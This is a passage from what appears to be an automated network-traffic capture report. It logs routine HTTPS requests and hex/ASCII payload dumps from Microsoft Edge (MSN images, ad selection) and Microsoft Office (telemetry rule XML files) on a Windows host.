2024-11-11 18:52:24 UTC	2885	IN	Data Raw: 51 51 70 6b 19 85 ae f5 33 e4 aa ab b5 a5 be 04 82 0f 99 4b 4f 3c 7f f0 f5 f8 1f 8b 38 7e 9d e7 30 27 1d 20 98 68 a4 9d c4 09 b4 71 ee 55 e7 66 5c 39 31 37 4b 84 e5 63 31 9a 9a c8 36 27 de 37 06 7e 6b c8 60 d6 1a 9c 43 86 57 3a a0 2a 8e 24 9e 9c 16 ee 0d 46 a7 1f a9 93 f4 1b 76 82 49 22 4f 46 dc 91 b7 89 05 3d 45 eb 8d 61 9d ee 2c 18 71 e4 70 a8 99 c8 78 81 7e 40 05 e7 bf 9a 5e a7 06 4c ce 91 80 44 10 ea 8c 32 48 89 12 6b 91 3c a6 37 ba 84 dd 63 1c d7 93 91 8e ca 6a 65 65 f1 22 79 43 44 88 07 69 e2 b2 df 97 55 8f 11 c7 8f 2e 52 29 73 61 ee 99 07 c7 7e c9 e9 4e be 5b 78 33 33 4c cf 4b 51 95 f2 2d 50 96 92 4f 02 e6 c4 f6 b7 8a 73 f3 69 08 92 f2 19 fd 64 c4 ff 00 a7 b0 e3 dc c2 f9 bf ee 35 27 20 39 32 b9 d1 33 37 e1 c4 71 53 bf 78 31 3e 4b 2b 6e ed 6e c5 a4 Data Ascii: QQpk3KO<8~0' hqUf\917Kc16'7~k`CW:*$FvI"OF=Ea,qpx~@^LD2Hk<7cjee"yCDiU.R)sa~N[x33LKQ-POsid5' 9237qSx1>K+nn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49850	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:24 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 15:00:48 GMT X-Datacenter: westus X-ActivityId: f56ff185-3ad6-4311-95ad-194a52089168 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH X-Source-Length: 293132 Content-Length: 293132 Cache-Control: public, max-age=159114 Expires: Wed, 13 Nov 2024 15:04:18 GMT Date: Mon, 11 Nov 2024 18:52:24 GMT Connection: close
2024-11-11 18:52:24 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-11 18:52:24 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-11 18:52:24 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-11 18:52:24 UTC	6628	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: 24 52 df 90 dd 8e 0e e3 18 ce f9 22 72 3b 90 67 84 eb 3a 82 79 11 7a 87 3d e7 69 9b 1a e2 dd 9f 0b b1 dc cc 6e 26 4f 51 17 42 39 dc 31 a7 9c e2 f1 ec 2b 50 95 b7 86 2b 5f e0 76 8b 1d f7 7a dd be 09 54 6d c2 4c b6 39 1b 79 b7 28 f2 b8 a7 73 2a 77 38 03 a3 33 a8 02 40 68 27 6d f6 b0 b4 37 0a 78 ac ff 00 53 3a 6e 2e 9f c4 0b 1f f4 10 ec 71 e6 f6 94 33 2e c0 a3 68 33 bc 7f d8 ce c0 38 44 58 52 bd 9f 78 d1 b3 db f6 bd b4 04 e3 95 06 f3 7b 91 c3 50 40 92 27 5a d0 f2 f8 1f 4f 9b bd c1 a5 cd 84 db d0 71 d1 1b 25 95 15 c2 99 01 e1 af c7 a0 8b 44 46 95 9e e5 7d cc aa ca 4a 30 4f 99 60 a9 06 c4 09 b8 31 e1 53 83 af 9e 80 a3 1d 4c 68 f3 47 04 af ed e4 6d d8 c8 55 71 bf 14 f5 7f b4 06 20 93 17 b5 3b ec b1 ee f6 e3 30 61 2e 75 04 0d 41 13 f1 ad 5c af 62 5f d3 6c 67 c1 Data Ascii: $R"r;g:yz=in&OQB91+P+_vzTmL9y(s*w83@h'm7xS:n.q3.h38DXRx{P@'ZOq%DF}J0O`1SLhGmUq ;0a.uA\b_lg
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: 44 c2 9b c1 d6 40 9f 0a d7 72 81 8a a8 02 4b 9d c0 5c 58 82 6f cc 03 a5 0a ae c6 6e 93 f4 01 32 4d e0 24 a6 e0 f6 01 60 2a 4d da 6f 1d 3a 00 4f 3a 58 e3 04 ab 62 3b 08 26 cc db 9e 0f 12 34 88 e1 5e 6f d4 95 72 df 2f a5 06 4f 94 f3 7b d5 23 39 c9 37 5d 4e 84 1c 5b 2f 23 61 ba 21 1a 83 60 04 ee 3e 26 f5 1b 0a 29 74 4e b0 77 09 6b 43 31 61 a7 21 13 59 7b 69 b9 df cd fe 28 d9 1b bc d5 6c bf 93 4f 6e 84 85 5d 7e 19 77 b2 c0 d9 0e 42 59 94 81 23 69 81 2c 67 e1 54 91 f0 e0 de 31 b0 3b 9e cb c4 68 22 fc 35 ad 62 9b 5b aa 3b 9a b2 1f ee 2b bc e3 13 b7 71 22 4f 09 0a 49 9e 57 a5 3b c0 ca 08 06 47 0e 7c be a2 07 95 4e 13 f8 8c 84 ee fe d3 bb bf b5 9c eb 90 9b 82 e8 4c 49 5e 03 91 e1 3c 62 80 c1 88 98 20 7e be 95 63 78 1d 57 b9 e7 46 5a 5f a8 32 a6 34 07 36 e3 bb e4 Data Ascii: D@rK\Xon2M$`*Mo:O:Xb;&4^or/O{#97]N[/#a!`>&)tNwkC1a!Y{i(lOn]~wBY#i,gT1;h"5b[;+q"OIW;G\|NLI^<b ~cxWFZ_246

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49849	20.96.153.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=11F7061775776D430B031323746E6C70&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=af0f87d6f6a245f8cee0bbbab2ef03b5 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1
2024-11-11 18:52:24 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2700 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132663-T700344123-C128000000002113929+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113929+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 11 Nov 2024 18:52:24 GMT Connection: close
2024-11-11 18:52:24 UTC	2700	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 5a 68 61 6e 67 79 65 2c 20 43 68 69 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 5a 68 61 6e 67 79 65 2b 4e 61 74 69 6f 6e 61 6c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Zhangye, China\",\"cta\":\"https:\/\/www.bing.com\/search?q=Zhangye+National

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 1815e533-001e-0028-01d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968v79b7hC1EWRu01s00000004wg00000000n2cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 642c93e8-001e-0014-7cd5-335151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968c2t8dhC1EWR8s200000000550000000002zzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 31c5dea7-101e-008d-51d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968vwdr7hC1EWRsh3w000000056000000000ranb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
